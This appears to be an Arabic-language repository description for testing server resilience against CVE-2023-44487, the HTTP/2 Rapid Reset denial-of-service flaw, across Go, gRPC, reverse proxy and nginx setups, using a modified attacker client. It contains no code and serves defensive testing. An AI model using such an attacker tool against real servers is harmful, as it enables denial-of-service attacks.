retocode/golang-cve-2023-44487موارد اختبار وأداة مهاجم لـ CVE-2023-44487 (HTTP/2 Rapid Reset) لتقييم مرونة الخادم عبر تكوينات Go وgRPC والوكيل العكسي وnginx.
يحتوي هذا المستودع على موارد اختبار ونتائج لـ CVE-2023-44487. يستخدم نسخة معدلة من https://github.com/secengjeff/rapidresetclient لاختبار تكوينات خادم Golang المختلفة.

المهاجم لا يستدعي نقاط نهاية GRPC فعليًا، لذلك لا يبدو أن هناك فرقًا في السلوك مع استدعاءات http2 "العادية". لست متأكدًا تمامًا إذا كان هذا جيدًا أم سيئًا، لكن الخادم يتمكن من مواكبة الحركة المرورية.
